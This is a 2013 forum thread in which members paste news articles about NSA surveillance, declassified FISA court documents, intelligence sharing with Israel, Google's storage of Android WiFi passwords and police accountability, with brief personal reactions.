http://bigstory.ap.org/article/older-quieter-wikileaks-cryptome-perseveres
Title: Re: they know what you are doing
Post by: burntheships on September 10, 2013, 10:41:16 pm
Just a little amusement....

[youtube]anLfoy2XsFw[/youtube]
Title: Re: they know what you are doing
Post by: sky otter on September 11, 2013, 05:02:46 am

hi guys.. i just find this whole thing un-freakin-believeable..and sad and a sign of worse to come if
it continues down the road of machines...it isn't sy-fi anymore..and it isn't run by those who know how to do it or even what to do with it..they can't analysis it - it's too big so they have to relie on the machines ..not good   -  not good...NOT GOOD  :(
i used to think the rise of the machines was just impossible.. now i don't and i have to work so that it doesn'tsit in my brain and  bother me...the last two lines are telling.

robo..i don't have wi-fi but can see how, if you were sensitive,  it could get to you..
bts..funny song...?  ;)
gotta check out those links..thanks


http://www.huffingtonpost.com/huff-wires/20130911/us-nsa-surveillance/?utm_hp_ref=homepage&ir=homepage

The NSA machine: Too big for anyone to understand
MATT APUZZO | September 11, 2013 07:00 AM EST



WASHINGTON — The surveillance machine grew too big for anyone to understand.

The National Security Agency set it in motion in 2006 and the vast network of supercomputers, switches and wiretaps began gathering Americans' phone and Internet records by the millions, looking for signs of terrorism.

But every day, NSA analysts snooped on more American phone records than they were allowed to. Some officials searched databases of phone records without even realizing it. Others shared the results of their searches with people who weren't authorized to see them.

It took nearly three years before the government figured out that so much had gone wrong. It took even longer to figure out why.

Newly declassified documents released Tuesday tell a story of a surveillance apparatus so unwieldy and complex that nobody fully comprehended it, even as the government pointed it at the American people in the name of protecting them.

"There was no single person who had a complete technical understanding," government lawyers explained to a federal judge in 2009.

During a summer in which former NSA systems analyst Edward Snowden released America's surveillance secrets to the world, the Obama administration has repeatedly tried to reassure people that the NSA's powers were kept in check by Congress and the courts. The mistakes discovered in 2009 have been fixed, the president said, a reflection of that oversight.

But the documents from the Foreign Intelligence Surveillance Court show that, in developing the world's most sophisticated surveillance network, even senior lawyers and officials weren't sure how the system worked and didn't understand what they were told.

"It appears there was never a complete understanding among the key personnel . regarding what each individual meant by the terminology," lawyers wrote in March 2009 as the scope of the problems came into focus.

As a result, the judges on the surveillance court, who rely on the NSA to explain the surveillance program, approved a program that was far more intrusive than they believed.

"Given the executive branch's responsibility for and expertise in determining how best to protect our national security, and in light of the scale of this bulk collection program, the court must rely heavily on the government to monitor this program," Judge Reggie B. Walton wrote in a 2009 order that found the NSA had repeatedly misrepresented its programs.

In Congress, meanwhile, only some lawmakers fully understand the programs they have repeatedly authorized and are supposed to be overseeing. For instance, Rep. Jim Sensenbrenner, R-Wis., one of the sponsors of the USA Patriot Act, has said he never intended it to be used to collect and store the phone records of every American.

And when Director of National Intelligence James Clapper was asked whether the government was doing that, he testified, "No." Yet Snowden's revelations, published in Britain's Guardian newspaper, show that is what happened.

There is no evidence in the new documents suggesting the NSA used its surveillance powers to spy on Americans for political purposes, a fear of many critics who recall the FBI's intrusive monitoring of civil rights leaders and anti-war protesters in the 1960s. Instead, the documents blame the years of government overreaching on technical mistakes, misunderstandings and lack of training.

From 2006 through early 2009, for instance, the NSA's computers reached into the database of phone records and compared them with thousands of others without "reasonable, articulable suspicion," the required legal standard.

By the time the problems were discovered, only about 10 percent of the 17,835 phone numbers on the government's watch list in early 2009 met the legal standard.

By then, Walton said he'd "lost confidence" in the NSA's ability to legally operate the program. He ordered a full review of the surveillance.

In its long report to the surveillance court in August 2009, the Obama administration blamed its mistakes on the complexity of the system and "a lack of shared understanding among the key stakeholders" about the scope of the surveillance.

"The documents released today are a testament to the government's strong commitment to detecting, correcting and reporting mistakes that occur in implementing technologically complex intelligence collection activities, and to continually improving its oversight and compliance processes," Clapper said in a statement Tuesday.

The surveillance court was satisfied by those improvements; it allowed the NSA to continue collecting phone records every day, a practice that continues today.

Now, the Obama administration is fending off lawsuits and a push in Congress to rein in the surveillance.

An unusual coalition of liberal Democrats and Republican civil libertarians has proposed several bills that would either scrap the phone surveillance entirely or require more oversight.

President Barack Obama has said he's open to more oversight but says the surveillance is essential to keep the country safe.

Obama and Clapper have said the changes made in 2009 resulted in tightened controls. American data is still collected but only seldom looked at, officials said. And it is kept on secure computer servers equipped with special software to protect it from analysts looking to illegally snoop.

"There are checks at multiple levels," NSA Deputy Director John Inglis told Congress in July. "There are checks in terms of what an individual might be doing at any moment in time."

The same checks that protect Americans' personal data were also supposed to protect the NSA's information. Yet Snowden, a 29-year-old contractor, managed to walk out with flash drives full of the nation's most highly classified documents.

The NSA is still trying to figure out, in such a complex system, exactly how Snowden defeated those checks.

"I think we can say that they failed," Inglis said. "But we don't yet know where."

___

Associated Press writers Stephan Braun, Adam Goldman, Kimberly Dozier, Eileen Sullivan, Ted Bridis, Jim Drinkard and Paul Elias in San Francisco contributed to this report.
Title: Re: they know what you are doing
Post by: burntheships on September 11, 2013, 08:30:54 am

bts..funny song...?  ;)


Well, to be more accurate, I should have said "theme music"...
and had specifically in mind those guys and gals in the NSA that spy
on their wives, spouses, love interests, etc.

 ;)

Indeed, the race is on...to the finish line for the Rise of The Machines.

Title: Re: they know what you are doing
Post by: sky otter on September 12, 2013, 07:21:08 am
wow..now here's are real shocker.. stuff shared with the overlords.. hummmmmmmmm..how surprised am i....NOT



http://www.theguardian.com/world/2013/sep/11/nsa-americans-personal-data-israel-documents
NSA shares raw intelligence including Americans' data with Israel
• Secret deal places no legal limits on use of data by Israelis
• Only official US government communications protected
• Agency insists it complies with rules governing privacy


entire doc at link
• Read the NSA and Israel's 'memorandum of understanding'

http://www.theguardian.com/world/interactive/2013/sep/11/nsa-israel-intelligence-memorandum-understanding-document

NSA and Israeli intelligence: memorandum of understanding – full document
Top-secret document shows how intelligence being shared with Israel would not be filtered in advance by NSA analysts to remove US communications


Glenn Greenwald, Laura Poitras and Ewen MacAskill
The Guardian, Wednesday 11 September 2013 10.40 EDT

 
The agreement for the US to provide raw intelligence data to Israel was reached in principle in March 2009, the document shows.
The National Security Agency routinely shares raw intelligence data with Israel without first sifting it to remove information about US citizens, a top-secret document provided to the Guardian by whistleblower Edward Snowden reveals.

Details of the intelligence-sharing agreement are laid out in a memorandum of understanding between the NSA and its Israeli counterpart that shows the US government handed over intercepted communications likely to contain phone calls and emails of American citizens. The agreement places no legally binding limits on the use of the data by the Israelis.

The disclosure that the NSA agreed to provide raw intelligence data to a foreign country contrasts with assurances from the Obama administration that there are rigorous safeguards to protect the privacy of US citizens caught in the dragnet. The intelligence community calls this process "minimization", but the memorandum makes clear that the information shared with the Israelis would be in its pre-minimized state.

The deal was reached in principle in March 2009, according to the undated memorandum, which lays out the ground rules for the intelligence sharing.

The five-page memorandum, termed an agreement between the US and Israeli intelligence agencies "pertaining to the protection of US persons", repeatedly stresses the constitutional rights of Americans to privacy and the need for Israeli intelligence staff to respect these rights.

But this is undermined by the disclosure that Israel is allowed to receive "raw Sigint" – signal intelligence. The memorandum says: "Raw Sigint includes, but is not limited to, unevaluated and unminimized transcripts, gists, facsimiles, telex, voice and Digital Network Intelligence metadata and content."

According to the agreement, the intelligence being shared would not be filtered in advance by NSA analysts to remove US communications. "NSA routinely sends ISNU [the Israeli Sigint National Unit] minimized and unminimized raw collection", it says.

Although the memorandum is explicit in saying the material had to be handled in accordance with US law, and that the Israelis agreed not to deliberately target Americans identified in the data, these rules are not backed up by legal obligations.

"This agreement is not intended to create any legally enforceable rights and shall not be construed to be either an international agreement or a legally binding instrument according to international law," the document says.

In a statement to the Guardian, an NSA spokesperson did not deny that personal data about Americans was included in raw intelligence data shared with the Israelis. But the agency insisted that the shared intelligence complied with all rules governing privacy.

"Any US person information that is acquired as a result of NSA's surveillance activities is handled under procedures that are designed to protect privacy rights," the spokesperson said.

The NSA declined to answer specific questions about the agreement, including whether permission had been sought from the Foreign Intelligence Surveillance (Fisa) court for handing over such material.

The memorandum of understanding, which the Guardian is publishing in full, allows Israel to retain "any files containing the identities of US persons" for up to a year. The agreement requests only that the Israelis should consult the NSA's special liaison adviser when such data is found.

Notably, a much stricter rule was set for US government communications found in the raw intelligence. The Israelis were required to "destroy upon recognition" any communication "that is either to or from an official of the US government". Such communications included those of "officials of the executive branch (including the White House, cabinet departments, and independent agencies), the US House of Representatives and Senate (member and staff) and the US federal court system (including, but not limited to, the supreme court)".

It is not clear whether any communications involving members of US Congress or the federal courts have been included in the raw data provided by the NSA, nor is it clear how or why the NSA would be in possession of such communications. In 2009, however, the New York Times reported on "the agency's attempt to wiretap a member of Congress, without court approval, on an overseas trip".

The NSA is required by law to target only non-US persons without an individual warrant, but it can collect the content and metadata of Americans' emails and calls without a warrant when such communication is with a foreign target. US persons are defined in surveillance legislation as US citizens, permanent residents and anyone located on US soil at the time of the interception, unless it has been positively established that they are not a citizen or permanent resident.

Moreover, with much of the world's internet traffic passing through US networks, large numbers of purely domestic communications also get scooped up incidentally by the agency's surveillance programs.

The document mentions only one check carried out by the NSA on the raw intelligence, saying the agency will "regularly review a sample of files transferred to ISNU to validate the absence of US persons' identities". It also requests that the Israelis limit access only to personnel with a "strict need to know".

Israeli intelligence is allowed "to disseminate foreign intelligence information concerning US persons derived from raw Sigint by NSA" on condition that it does so "in a manner that does not identify the US person". The agreement also allows Israel to release US person identities to "outside parties, including all INSU customers" with the NSA's written permission.

Although Israel is one of America's closest allies, it is not one of the inner core of countries involved in surveillance sharing with the US - Britain, Australia, Canada and New Zealand. This group is collectively known as Five Eyes.

The relationship between the US and Israel has been strained at times, both diplomatically and in terms of intelligence. In the top-secret 2013 intelligence community budget request, details of which were disclosed by the Washington Post, Israel is identified alongside Iran and China as a target for US cyberattacks.

While NSA documents tout the mutually beneficial relationship of Sigint sharing, another report, marked top secret and dated September 2007, states that the relationship, while central to US strategy, has become overwhelmingly one-sided in favor of Israel.

"Balancing the Sigint exchange equally between US and Israeli needs has been a constant challenge," states the report, titled 'History of the US – Israel Sigint Relationship, Post-1992'. "In the last decade, it arguably tilted heavily in favor of Israeli security concerns. 9/11 came, and went, with NSA's only true Third Party [counter-terrorism] relationship being driven almost totally by the needs of the partner."

 

In another top-secret document seen by the Guardian, dated 2008, a senior NSA official points out that Israel aggressively spies on the US. "On the one hand, the Israelis are extraordinarily good Sigint partners for us, but on the other, they target us to learn our positions on Middle East problems," the official says. "A NIE [National Intelligence Estimate] ranked them as the third most aggressive intelligence service against the US."

Later in the document, the official is quoted as saying: "One of NSA's biggest threats is actually from friendly intelligence services, like Israel. There are parameters on what NSA shares with them, but the exchange is so robust, we sometimes share more than we intended."

 

The memorandum of understanding also contains hints that there had been tensions in the intelligence-sharing relationship with Israel. At a meeting in March 2009 between the two agencies, according to the document, it was agreed that the sharing of raw data required a new framework and further training for Israeli personnel to protect US person information.

It is not clear whether or not this was because there had been problems up to that point in the handling of intelligence that was found to contain Americans' data.

However, an earlier US document obtained by Snowden, which discusses co-operating on a military intelligence program, bluntly lists under the cons: "Trust issues which revolve around previous ISR [Israel] operations."

 

The Guardian asked the Obama administration how many times US data had been found in the raw intelligence, either by the Israelis or when the NSA reviewed a sample of the files, but officials declined to provide this information. Nor would they disclose how many other countries the NSA shared raw data with, or whether the Fisa court, which is meant to oversee NSA surveillance programs and the procedures to handle US information, had signed off the agreement with Israel.

In its statement, the NSA said: "We are not going to comment on any specific information sharing arrangements, or the authority under which any such information is collected. The fact that intelligence services work together under specific and regulated conditions mutually strengthens the security of both nations.

"NSA cannot, however, use these relationships to circumvent US legal restrictions. Whenever we share intelligence information, we comply with all applicable rules, including the rules to protect US person information."
Title: Re: they know what you are doing
Post by: sky otter on September 12, 2013, 09:02:06 pm


parts of a 2008 secret court order ..in 2013..it just gets better, doesn't it..





http://www.huffingtonpost.com/2013/09/12/yahoo-court-order_n_3917295.html

Parts Of Secret Yahoo Court Order Will Be Declassified, Justice Department Says

By FREDERIC J. FROMMER 09/12/13 08:18 PM ET EDT 



WASHINGTON -- The federal government says it will declassify parts of a 2008 secret court order that required Yahoo to turn over customer data under the National Security Agency's PRISM data-gathering program.

In a filing Thursday with the Foreign Intelligence Surveillance Court, the Justice Department said that the declassification would make possible the publication of "much of the court's opinion and order." But the department said that some of the information in the opinion must remain classified and would be redacted.

Thursday's ruling came after the presiding judge on the court ordered the government to conduct a "declassification review" of the 2008 order and legal briefs in the case.

Yahoo was among several U.S. Internet businesses identified as giving the National Security Agency access to customer data under the PRISM program. In a filing with the FISA Court in June, Yahoo asked that the 2008 opinion be released, along with legal briefs in the case. In a subsequent filing the next month, Yahoo said that the disclosure of the opinion and briefs would allow the company to "demonstrate that it objected strenuously to the directives that are now the subject of debate, and objected at every stage of the proceeding," but that its objections were overruled.

Revelations about the PRISM program by former NSA systems analyst Edward Snowden have prompted a broader debate about government monitoring and the privacy of Americans' communications.

The case is separate from another one Yahoo has pending that urges the FISA Court to allow the company to disclose data on national security orders it received under the Foreign Intelligence Surveillance Act. Facebook, Google and Microsoft have similar motions pending with the court.

Neither Yahoo nor the Justice Department had any comment on Thursday's filing.

Title: Re: they know what you are doing
Post by: sky otter on September 14, 2013, 08:04:38 pm


NSA Surveillance Documents Released By Officials


http://articles.washingtonpost.com/2013-09-10/world/41931852_1_nsa-national-security-agency-surveillance-program



Declassified court documents highlight NSA violations in data collection for surveillance
By Ellen Nakashima, Julie Tate and Carol Leonnig,September 10, 2013


The National Security Agency for almost three years searched a massive database of Americans’ phone call records attempting to identify potential terrorists in violation of court-approved privacy rules, and the problem went unfixed because no one at the agency had a full technical understanding of how its system worked, according to new documents and senior government officials.

Moreover, it was Justice Department officials who discovered the problem and reported it to the court that oversees surveillance programs, the documents show, undermining assertions by the NSA that self-reporting is part of its culture.

The improper activity went on from May 2006 to January 2009, according to a March 2009 opinion by Judge Reggie B. Walton, who serves on the Foreign Intelligence Surveillance Court.

It was one of more than a dozen documents declassified and released Tuesday in response to lawsuits by civil liberties groups and at the direction of President Obama in the wake of the June disclosure by former NSA contractor Edward J. Snowden of the massive phone records collection.

“The documents released today are a testament to the government’s strong commitment to detecting, correcting and reporting mistakes that occur in implementing technologically complex intelligence collection activities, and to continually improving its oversight and compliance processes,” said James R. Clapper, the director of national intelligence.

A strong rebuke of the NSA by the court comes less than a month after the Office of the Director of National Intelligence released a highly critical FISA court opinion that took the agency to task for its operation of a separate surveillance program. Taken together, the documents released by the office over the past month paint a troubling picture of an agency that has sought and won far-reaching surveillance powers to run complex domestic data collection without anyone having full technical understanding of the efforts, and that has repeatedly misrepresented the programs’ scope to its court overseer.

Such revelations call into question the effectiveness of an oversight program that depends on accurate disclosure by the NSA to a court that acts in secret and says it lacks the resources to verify independently the agency’s assertions.

“It has finally come to light that the FISC’s authorizations of this vast collection program have been premised on a flawed depiction of how the NSA uses” the phone data, Walton wrote.

“This misperception by the FISC existed from the inception of its authorized collection in May 2006, buttressed by repeated inaccurate statements made in the government’s submissions,” he continued.

Privacy procedures “have been so frequently and systemically violated that it can fairly be said that this critical element of the overall [phone records] regime has never fully functioned effectively,” he said.

The “bulk records” program began without any court or congressional approval shortly after the Sept. 11, 2001, attacks but was put under court supervision in May 2006 when American phone companies balked at providing the data solely at the request of the executive branch.

Under the program, the NSA receives daily transfers of all customer records from the nation’s phone companies. Those records include numbers called, the calls’ time and duration, but not the content of conversations.

Beginning in late January 2009, Justice Department officials began notifying the court of problems, in particular that the NSA had been running an automated “alert list” on selected phone numbers without meeting the court-required standard of “reasonable and articulable suspicion” that those numbers were tied to terrorists.

Justice Department officials notified the court that the NSA had been searching the business records “in a manner directly contrary” to the court’s orders “and directly contrary to the sworn attestations of several Executive Branch officials,” Walton wrote in a Jan. 29, 2009, order.

NSA Director Keith B. Alexander suggested to the court that the violations stemmed from a belief by NSA personnel that not all the databases were covered by the same privacy rules, Walton wrote in his March opinion.

“That interpretation of the court’s orders strains credulity,” Walton said.

Walton also suggested that the NSA’s Office of General Counsel deliberately chose to approve the use of phone numbers that did not meet the court standards because such procedures were in keeping with other NSA collection activities.

In March 2009, the court took the unusual step of ordering the government to seek approval to query the database on a case-by-case basis “except where necessary to protect against an imminent threat to human life.”




go to this link (below) and click on the document to read it..sadly but no real surprise
 there are still blacked out parts



http://apps.washingtonpost.com/g/page/world/declassified-fisa-court-documents-on-intelligence-collection/447/

Declassified FISA court documents on intelligence collection
Director of National Intelligence James Clapper declassified documents about intelligence collection under Section 501 of the Foreign Intelligence Surveillance Act on Sept. 10, 2013.

» Declassified court documents highlight NSA violations

FISA court documents
 

Pub August 19 2009 Report of the US With Attachments 20130910
Pub Dec 12 2008 Supplemental Opinions From the FISC
Pub Feb 12 2009 Memorandum of US
Pub Feb 26 2009 Notification of Compliance Incident
Pub Jan 28 2009 Order Regarding Prelim Notice of Compliance
Pub Jun 22 2009 Order
Pub Mar 5 2009 Cover Letter to Chairman of Intel and Judiciary Committees
Pub March 2 2009 Order From FISC
Pub May 24 2006 Order From FISC
Pub Nov 5 2009 Supplemental Opinion and Order
Pub NSA Business Records FISA Review 20130909
Pub Sep 3 2009 Cover Letter to Chairman of the Intelligence and Judiciary Committees
Pub Sep 3 2009 Primary Order From FISC
Pub Sept 25 2009 Order Regarding Further Compliance Incidents
14 documents
SOURCE: Office of the Director of National Intelligence. Published Sept. 10, 2013.
Title: Re: they know what you are doing
Post by: sky otter on September 17, 2013, 03:23:25 pm

well i am sure to be left behind in the technology department...may go back to the two tin cans and string...read that first link..


 :(


http://www.huffingtonpost.com/2013/09/17/google-wifi-passwords-android_n_3936809.html?utm_hp_ref=technology


Google Knows The WiFi Passwords Of Every Android User: Report
The Huffington Post  |  Posted: 09/17/2013 7:26 am EDT  |  Updated: 09/17/2013 4:51 pm EDT


Google might have access to WiFi passwords used by every single Android user, a new report suggests. That is a whole lot of WiFi passwords -- maybe most of them in the world.

“If an Android device (phone or tablet) has ever logged on to a particular Wi-Fi network, then Google probably knows the Wi-Fi password,” Computer World's Michael Horowitz wrote last week. http://blogs.computerworld.com/android/22806/google-knows-nearly-every-wi-fi-password-world

“Considering how many Android devices there are, it is likely that Google can access most Wi-Fi passwords worldwide.” In the April-June period of 2013, Android had accounted for 79 percent of phones shipped worldwide.http://www.huffingtonpost.com/2013/08/07/android-iphone_n_3721105.html

Privacy advocates claim that Google's Android mobile operating system has backup tools that indicate a copy of everyone's WiFi passwords are saved onto Google servers. New Android devices can "suck in" old passwords,http://www.techspot.com/news/54016-google-knows-every-single-android-users-wifi-password.html

login data and device settings once Android owners have set up their Gmail address and password. Though users can switch off this backup functionality, doing so causes them to lose other helpful features such as bookmarks.

"At any point, you can disable this feature, which will cause data to be erased," Google commented in an article at TalkAndroid.com. "

http://www.talkandroid.com/175416-does-google-know-your-wi-fi-password/

This data is encrypted in transit, accessible only when the user has an authenticated connection to Google and stored at Google data centers, which have strong protections against digital and physical attacks."

The news comes at a time when Internet users are becoming unusually sensitive about the privacy of their personal data. In April, a Google transparency reporthttp://www.huffingtonpost.com/2013/04/26/google-transparency-report-2013_n_3163138.html

said the government is asking the company for more data than ever before. This latest development leaves a key question without a clear answer: Would Google need to hand over these passwords if the government came calling?

Eric Schmidt, executive chairman of Google, recently asked for more transparency from the government about their mining for data on the Internet, but insisted that government spying is the "nature of our society." The news on Google's WiFi password storage comes after a report by Der Spiegel that found the NSA can access most smartphone data.

http://www.huffingtonpost.com/2013/09/08/nsa-smartphone-der-spiegel_n_3889713.html
Title: Re: they know what you are doing
Post by: Fruitbat on September 17, 2013, 03:33:25 pm
Haven't really read the thread, am just responding to the title.

If it concerns you just be like me.

I don't know what I am doing half the time, so I figure they'll have even more trouble working it out...

Fruuitbat!
Title: Re: they know what you are doing
Post by: sky otter on September 19, 2013, 01:24:51 pm

McCarthy would be very happy.
..i can't read or watch the news anymore and will probably not post anything else in here..
it's making it too hard to maintain  an equal and happy  attititude

sad sad day  :(

http://www.huffingtonpost.com/2013/09/19/aclu-spying_n_3956596.html


 
ACLU: Papers Show Domestic Spying Goes Too Far


By PAUL ELIAS 09/19/13 02:38 PM ET EDT 

SAN FRANCISCO -- Civil liberties groups released newly obtained documents Thursday that they say show innocent Americans being swept into a broad nationwide counterterrorism program.

The American Civil Liberties Union and several other organizations released 1,800 so-called suspicious activity reports that local law enforcement officials and others submitted to two California intelligence-gathering repositories called fusion centers.

The documents, nearly all of which were obtained by the ACLU through a public records request, do not appear to show valuable counterterrorism intelligence.

"An off-duty supervising dispatcher with Sacramento P.D. noticed a female subject taking pictures of the outside of the post office in Folsom on Riley Street this morning," reads one suspicious activity report created June 4, 2010, and released Thursday. "The female departed as a passenger in a silver Mazda."

Another reports a Lodi Police Department sergeant "reporting on a suspicious individual in his neighborhood." The sergeant, whose name is redacted from the document released Thursday, said he "has been long concerned about a residence in his neighborhood occupied by a Middle Eastern male adult physician who is very unfriendly."

The fusion center program was a target of a blistering Congressional report last year complaining that too many innocent Americans engaging in routine and harmless behavior have become ensnared in the program.

The ACLU and others are calling on the Obama administration to overhaul the program so that only activities with legitimate links to terrorism investigations are reported.

"We want the administration to stop targeting racial and religious minorities," ACLU lawyer Linda Lye said. She said they are calling on the Obama administration "to stop targeting people engaging in Constitutionally protected behavior like taking photographs."

A Senate report last year concluded that the multibillion-dollar information-sharing program created in the aftermath of 9/11 has improperly collected information about innocent Americans and produced little valuable intelligence on terrorism. The report suggested the program's intent ballooned far beyond anyone's ability to control.

What began as an attempt to put local, state and federal officials in the same room analyzing the same intelligence has instead cost huge amounts of money for data-mining software, flat screen televisions and, in Arizona, two fully equipped Chevrolet Tahoes that are used for commuting, investigators found.

The lengthy, bipartisan report was a scathing evaluation of what the Department of Homeland Security has held up as a crown jewel of its security efforts, which has created 72 fusion centers across the country to collect reports from local law enforcement and others. Some 1,700 of the reports released Thursday came from the fusion center in Sacramento.

A Senate Homeland Security subcommittee reviewed more than 600 unclassified reports over a one-year period and concluded that most had nothing to do with terrorism.

Homeland Security Department spokesman Matthew Chandler at the time called the senate report "out of date, inaccurate and misleading." He said that it focused entirely on information being produced by fusion centers and did not consider the benefit the involved officials got receiving intelligence from the federal government.


........................................



http://www.huffingtonpost.com/2013/09/18/dea-agents-raid_n_3942731.html?ir=Politics


Nameless And Shameless:
 Masked DEA Agents Raid Innocent Women, Refuse To Reveal Their Identities



Posted: 09/18/2013 2:57 pm EDT  |  Updated: 09/18/2013 3:32 pm EDT

 Radley Balko Become a fan
Radley.Balko@huffingtonpost.com



Over a three-day period in June 2007, heavily armed SWAT teams, supported by tanks and helicopters, descended on Detroit's Eight Mile Road. The massive operation involved police and agents from 21 different local, state and federal branches of law enforcement, and was intended to rid the notoriously crime-ridden area of drug houses, prostitutes and wanted fugitives.

After conducting hundreds of raids, the authorities made 122 arrests, according to The Detroit News, and seized about 50 ounces of marijuana, 6.5 ounces of cocaine and 19 guns.

When Caroline Burley, now 51, first heard the boom around 5:30 on the evening of June 13, it sounded like it had come from outside her bedroom window. She rushed to investigate, and as she came out of the room, a man with a gun confronted her, threw her into a wall and then hurled her to the floor. A SWAT team had burst through her front door. Wearing only her nightgown, she asked for mercy. She recently had back surgery, she explained. Instead, one officer, then another kept her close to the floor by putting a boot in her back, according to court filings.

Caroline's mother, Geraldine Burley, was sitting at her computer in the basement when she heard a loud thud overhead, followed by a scream from her daughter and a man's voice ordering Caroline Burley to the floor. When she ascended the stairs, she too found a gun pointed at her head, and a man ordered her to get on the floor as well. She thought at first that she was being robbed.

Geraldine, now 70, pleaded with the man to let her move to the floor slowly, explaining to him that she'd had both of her knees replaced. Instead, another officer approached, grabbed her by the face, demanded that she "get the frig on the floor," then threw her into a table. She tumbled to the ground. At that point, she said later in a deposition, everything turned to "a fire, white and ringing in my ear." Another officer came up from the basement with her grandson, stepping on her knees in the process. She cried out again in pain.

The officers searched the home but found no drugs, weapons or any other contraband. (They arrested Geraldine's grandson on an unrelated misdemeanor warrant.)

Since the 1980s, SWAT teams have become an increasingly common tool in the war on crime. By one estimate, more than 100 times per day in America, police teams break down doors to serve search warrants on people suspected of drug crimes. Innocent citizens like the Burleys often become the victims of violent law enforcement tactics.

In the wake of the raid on their home, the two women have tried to navigate a disorienting labyrinth of police bureaucracies and court filings to secure damages for the injuries they sustained during the raid and for violations of their Fourth Amendment rights. More than six years later, however, the government agencies involved still won't tell the women the names of the officers and agents who raided their home -- a key piece of information necessary in lawsuits like this one. It isn't enough merely to show that the government violated the plaintiffs' rights; by federal law, the victims must be able to show that a specific officer or group of officers was responsible. This burden is something of a double standard, given that individual officers are rarely required to pay damages. The government pays the award.

As the drug war continues to encourage the use of aggressive police tactics, the Burleys' frustrations with the court system punctuate just how difficult it can be for innocent victims, who become collateral damage in the war against drugs, to get redress for the harm done to them.

***
According to the Burleys' accounts, the officers who raided their home were clad in black. Some wore balaclava masks or face shields that hid all but their eyes. Others pulled their hats down low to shield their identities. They had also obscured their names and badge numbers. Once the Burleys' house had been thoroughly searched, both women asked the officers for their names. After holding an impromptu meeting, the officers told the Burleys that they wouldn't divulge any information that could identify them individually. Instead, they told the women that they had just been raided by "Team 11." The women weren't given a search warrant.

"Team 11 appears to have been a name given just for that operation," Stanley Okoli, an attorney for the Burleys, told The Huffington Post. "Or just a name to confuse them. It wasn't a designation that gave them any meaningful way to obtain the officers' identities."

Joe Key, a retired police officer with 24 years of experience, founded the SWAT team in Baltimore, and now consults for police agencies and testifies as an expert witness. He criticized the idea of officers refusing to identify themselves. "Accountability of the police officer to the public is absolute," he told The Huffington Post.

"If there are undercover officers whose identities need to be protected -- and I don't know that that was the case here -- then you send different officers in to conduct the raid. If this is really what happened, there's no excuse for it."

According to press accounts, Operation Eight Mile was coordinated by the Wayne County Sheriff's Office, but in response to the Burleys' initial requests for information, Wayne County claimed to have no record of the raid. Instead, the county directed the women to the federal Drug Enforcement Administration.

That, too, proved fruitless. The DEA told the Burleys that the agency was "experiencing a transition," and promised to provide information on the raid at a later date. That never happened. It wasn't until the Burleys filed a lawsuit in state court that Wayne County finally released documents related to the raid, which included a DEA report with the names of the agents.

Neither the Wayne County Sheriff's Office, nor the DEA, would comment for this article.

According to the report, the agents who conducted the raid at the Burleys belonged to a DEA team called Group 6. For Operation Eight Mile, members of Group 6 were paired with officers from state and local agencies, and renamed Team 11, the name the officers gave the Burleys.

In response to questionnaires from the Burleys' attorneys, the officers involved in the raid denied violating the Burleys' civil rights. But none of them at the time denied being on the team that raided the house.

During depositions of the defendants, however, attorneys for the Burleys were in for a surprise. The DEA agents denied they were ever in the Burley home. They claimed that Group 6 had been split in two, with half the agents raiding the Burleys' house, and the other half raiding a nearby house at the same time.

Each of the agents named in the DEA report claimed that they were in the other home, not the Burleys'. Each told a story about one officer's erroneous deployment of an explosive distraction device during that raid. The vivid memory, each of them claimed, explained why they were able to recall their whereabouts so specifically. They testified that the fact that they were named in the DEA report must have been a clerical error.

Attorneys for the Burleys then deposed other members of Group 6 not named in the DEA report. If indeed the raids had been conducted simultaneously, and a clerical error had misidentified which team went where, then these other members of the team must have been the ones in the Burleys' home. But they too denied ever being there.

There's no question that the Burleys were raided. But every officer who could have plausibly been involved claimed to be somewhere else at the time. Deputies from Wayne County were also part of the raid team, but each of them claimed to have been outside of the house, guarding the perimeter. None could recall which agents were with them, however, or where their fellow officers were when the raid took place.

"It's one of the most bizarre things I've ever seen," Okoli said. "I asked, 'which amongst you went to one address?' and they said they couldn't remember. So I asked, 'which amongst you went to the other address?' and they said they couldn't remember."

***
Because they waited until they gave depositions to deny their presence at the raid, the DEA agents made things difficult for the Burleys. Assuming the agents were telling the truth, the Burleys would need to start all over in identifying the agents who raided their house. And that's assuming they could get a waiver on the statute of limitations, which had by then expired.

In June 2012, U.S. District Court Judge Bernard Friedman first dismissed the Burleys' claims against Wayne County, then preempted a jury verdict in the trial against the federal agents. He ruled that, given the evidence, no reasonable jury could find in the plaintiffs' favor, and in addition ordered the Burleys to pay the DEA agents $5,000 to compensate them for court costs.

"These women are destitute," Okoli told HuffPost. "That was completely discretionary. He didn't have to do that." Because the women couldn't pay, the government moved to garnish their Social Security disability checks to cover the fine.

The Burleys appealed, and earlier this month, a panel from the U.S. Court of Appeals for the Sixth Circuit upheld the dismissal of Wayne County officials from the lawsuit, but reinstated the suit against the federal agents. The court found that "the agents' intent to conceal contributed to the plaintiffs' impaired ability to identify them." The court also vacated the order for the Burleys to pay court costs.

But the court still stopped short of ordering the government to produce the names of the agents who conducted the raid. The Burleys and their attorneys will need to fight the government's lawyers and Friedman, who will preside over the new trial as well.

Okoli welcomes the Sixth Circuit's decision. But he said that, in addition to having to go before Friedman -- who appeared hostile to his clients' case -- again, the Burleys are at even more of a disadvantage than they were in the first trial. The agents and their attorneys are now aware of inconsistencies the first trial exposed in their stories, and can attempt to explain them away. "We lost that element of surprise," Okoli said.

The Burleys' failure to win compensation for the raid on their home is hardly unusual. And while this case may be particularly egregious, the tendency of police agencies to be stingy with information following a mistaken raid is also common. Police officers enjoy qualified immunity, so it isn't enough to show that police made a clear mistake, or even that they were negligent, no matter how much harm has been done.

But wading into the legal weeds about what police agencies can and can't do in these cases overlooks the fact that what they can do isn't necessarily what they ought to do. When confronted with these cases, political leaders and police officials could choose one of two routes. They can show some contrition, admit they made mistakes, move to make the victims whole again and look to ensure that the same mistakes don't happen again. Or they can hunker down, cut off the flow of information and engage in every bit of bureaucratic chicanery and legal maneuvering they can in order to escape accountability.

"What happened in the house, whether the women were violated or whether their account is overblown, that's up to a jury to decide," Joe Key says. "But the government must make itself accountable and transparent. This kind of stonewalling goes against everything the Fourth Amendment is supposed to represent."

HuffPost writer and investigative reporter Radley Balko is also the author of the new book, Rise of the Warrior Cop: The Militarization of America's Police Forces.
Title: Re: they know what you are doing
Post by: Ellirium113 on September 19, 2013, 02:01:34 pm
I found this informative clip on Magnetic Media...Anyone running around with sensitive info on a USB stick or solid state drive may want to listen up on this to raise awareness on how you may THINK your erased data is gone...

